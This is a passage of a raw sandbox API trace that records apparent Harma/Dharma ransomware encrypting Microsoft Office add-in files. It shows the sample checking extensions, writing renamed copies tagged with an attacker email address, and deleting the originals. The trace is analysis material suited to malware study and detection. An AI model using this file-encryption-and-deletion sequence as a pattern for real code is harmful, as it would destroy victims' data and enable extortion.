office\\office14\\addins\\colleagueimport.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0166.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0166.825] lstrlenW (lpString=".doc") returned 4 [0166.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.825] lstrlenW (lpString=".docx") returned 5 [0166.825] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0166.825] lstrlenW (lpString=".pdf") returned 4 [0166.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.825] lstrlenW (lpString=".xls") returned 4 [0166.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.825] lstrlenW (lpString=".xlsx") returned 5 [0166.825] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0166.825] lstrlenW (lpString=".ppt") returned 4 [0166.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0166.825] lstrlenW (lpString=".zip") returned 4 [0166.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.825] lstrlenW (lpString=".rar") returned 4 [0166.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.826] lstrlenW (lpString=".bz2") returned 4 [0166.826] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.826] lstrlenW (lpString=".7z") returned 3 [0166.826] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll") returned 69 [0166.826] lstrlenW (lpString=".dbf") returned 4 [0166.826] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.837] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.837] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.055] GetLastError () returned 0x0 [0167.055] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x33e, lpOverlapped=0x0) returned 1 [0167.129] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x340, lpOverlapped=0x0) returned 1 [0167.131] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.131] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0167.131] SetEndOfFile (hFile=0x378) returned 1 [0167.131] CloseHandle (hObject=0x378) returned 1 [0167.131] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.131] SetEndOfFile (hFile=0x3a0) returned 1 [0167.418] CloseHandle (hObject=0x3a0) returned 1 [0167.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf")) returned 1 [0167.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.435] lstrlenW (lpString=".doc") returned 4 [0167.435] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.435] lstrlenW (lpString=".docx") returned 5 [0167.435] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0167.435] lstrlenW (lpString=".pdf") returned 4 [0167.435] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString=".xls") returned 4 [0167.435] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString=".xlsx") returned 5 [0167.435] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0167.435] lstrlenW (lpString=".ppt") returned 4 [0167.435] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.435] lstrlenW (lpString=".zip") returned 4 [0167.435] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString=".rar") returned 4 [0167.435] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString=".bz2") returned 4 [0167.435] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.435] lstrlenW (lpString=".7z") returned 3 [0167.435] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.435] lstrlenW (lpString=".dbf") returned 4 [0167.435] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.435] lstrlenW (lpString=".1cd") returned 4 [0167.435] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.435] lstrlenW (lpString=".jpg") returned 4 [0167.435] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString=".doc") returned 4 [0167.436] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.436] lstrlenW (lpString=".docx") returned 5 [0167.436] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0167.436] lstrlenW (lpString=".pdf") returned 4 [0167.436] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.436] lstrlenW (lpString=".xls") returned 4 [0167.436] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.436] lstrlenW (lpString=".xlsx") returned 5 [0167.436] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0167.436] lstrlenW (lpString=".ppt") returned 4 [0167.436] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString=".zip") returned 4 [0167.436] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.436] lstrlenW (lpString=".rar") returned 4 [0167.436] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.436] lstrlenW (lpString=".bz2") returned 4 [0167.436] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.436] lstrlenW (lpString=".7z") returned 3 [0167.436] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString=".dbf") returned 4 [0167.436] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString=".1cd") returned 4 [0167.436] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF") returned 60 [0167.436] lstrlenW (lpString=".jpg") returned 4 [0167.436] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.437] lstrcmpiW (lpString1=".ECF", lpString2=".harma") returned -1 [0167.437] lstrlenW (lpString="OUTEX2.ECF") returned 10 [0167.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0167.437] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=850) returned 1 [0167.437] CloseHandle (hObject=0x374) returned 1 [0167.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0167.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0167.438] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.438] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0167.439] GetLastError () returned 0x0 [0167.439] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x352, lpOverlapped=0x0) returned 1 [0167.470] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x360, lpOverlapped=0x0) returned 1 [0167.471] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.471] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0167.472] SetEndOfFile (hFile=0x348) returned 1 [0167.472] CloseHandle (hObject=0x348) returned 1 [0167.472] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.472] SetEndOfFile (hFile=0x374) returned 1 [0167.474] CloseHandle (hObject=0x374) returned 1 [0167.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 1 [0167.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.475] lstrlenW (lpString=".doc") returned 4 [0167.476] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.476] lstrlenW (lpString=".docx") returned 5 [0167.476] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0167.476] lstrlenW (lpString=".pdf") returned 4 [0167.476] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.476] lstrlenW (lpString=".xls") returned 4 [0167.476] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.476] lstrlenW (lpString=".xlsx") returned 5 [0167.476] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0167.476] lstrlenW (lpString=".ppt") returned 4 [0167.476] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.476] lstrlenW (lpString=".zip") returned 4 [0167.476] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.476] lstrlenW (lpString=".rar") returned 4 [0167.476] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.476] lstrlenW (lpString=".bz2") returned 4 [0167.476] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.476] lstrlenW (lpString=".7z") returned 3 [0167.476] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.476] lstrlenW (lpString=".dbf") returned 4 [0167.476] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.476] lstrlenW (lpString=".1cd") returned 4 [0167.477] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.477] lstrlenW (lpString=".jpg") returned 4 [0167.477] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.477] lstrlenW (lpString=".doc") returned 4 [0167.477] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.477] lstrlenW (lpString=".docx") returned 5 [0167.477] lstrcmpiW (lpString1=".docx", lpString2="2.ECF") returned -1 [0167.477] lstrlenW (lpString=".pdf") returned 4 [0167.477] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString=".xls") returned 4 [0167.477] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString=".xlsx") returned 5 [0167.477] lstrcmpiW (lpString1=".xlsx", lpString2="2.ECF") returned -1 [0167.477] lstrlenW (lpString=".ppt") returned 4 [0167.477] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.477] lstrlenW (lpString=".zip") returned 4 [0167.477] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString=".rar") returned 4 [0167.477] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.477] lstrlenW (lpString=".bz2") returned 4 [0167.477] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.478] lstrlenW (lpString=".7z") returned 3 [0167.478] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.478] lstrlenW (lpString=".dbf") returned 4 [0167.478] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.478] lstrlenW (lpString=".1cd") returned 4 [0167.478] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF") returned 60 [0167.478] lstrlenW (lpString=".jpg") returned 4 [0167.478] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.478] lstrcmpiW (lpString1=".ECF", lpString2=".harma") returned -1 [0167.478] lstrlenW (lpString="PMAILEXT.ECF") returned 12 [0167.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.489] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=626) returned 1 [0167.489] CloseHandle (hObject=0x340) returned 1 [0167.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 0x20 [0167.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.502] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.502] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.504] GetLastError () returned 0x0 [0167.504] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x272, lpOverlapped=0x0) returned 1 [0167.505] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x280, lpOverlapped=0x0) returned 1 [0167.505] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.505] WriteFile (in: hFile=0x378, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.506] SetEndOfFile (hFile=0x378) returned 1 [0167.506] CloseHandle (hObject=0x378) returned 1 [0167.515] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.515] SetEndOfFile (hFile=0x384) returned 1 [0167.518] CloseHandle (hObject=0x384) returned 1 [0167.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\pmailext.ecf")) returned 1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.520] lstrlenW (lpString=".doc") returned 4 [0167.520] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.520] lstrlenW (lpString=".docx") returned 5 [0167.520] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0167.520] lstrlenW (lpString=".pdf") returned 4 [0167.520] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.520] lstrlenW (lpString=".xls") returned 4 [0167.520] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.520] lstrlenW (lpString=".xlsx") returned 5 [0167.520] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0167.520] lstrlenW (lpString=".ppt") returned 4 [0167.520] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.520] lstrlenW (lpString=".zip") returned 4 [0167.520] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.520] lstrlenW (lpString=".rar") returned 4 [0167.520] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.520] lstrlenW (lpString=".bz2") returned 4 [0167.520] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.520] lstrlenW (lpString=".7z") returned 3 [0167.520] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.520] lstrlenW (lpString=".dbf") returned 4 [0167.520] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.520] lstrlenW (lpString=".1cd") returned 4 [0167.520] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString=".jpg") returned 4 [0167.521] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString=".doc") returned 4 [0167.521] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0167.521] lstrlenW (lpString=".docx") returned 5 [0167.521] lstrcmpiW (lpString1=".docx", lpString2="T.ECF") returned -1 [0167.521] lstrlenW (lpString=".pdf") returned 4 [0167.521] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString=".xls") returned 4 [0167.521] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString=".xlsx") returned 5 [0167.521] lstrcmpiW (lpString1=".xlsx", lpString2="T.ECF") returned -1 [0167.521] lstrlenW (lpString=".ppt") returned 4 [0167.521] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString=".zip") returned 4 [0167.521] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString=".rar") returned 4 [0167.521] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0167.521] lstrlenW (lpString=".bz2") returned 4 [0167.521] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0167.521] lstrlenW (lpString=".7z") returned 3 [0167.521] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString=".dbf") returned 4 [0167.521] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.521] lstrlenW (lpString=".1cd") returned 4 [0167.521] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\PMAILEXT.ECF") returned 62 [0167.522] lstrlenW (lpString=".jpg") returned 4 [0167.522] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0167.522] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.522] lstrlenW (lpString="UmOutlookAddin.dll") returned 18 [0167.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\umoutlookaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 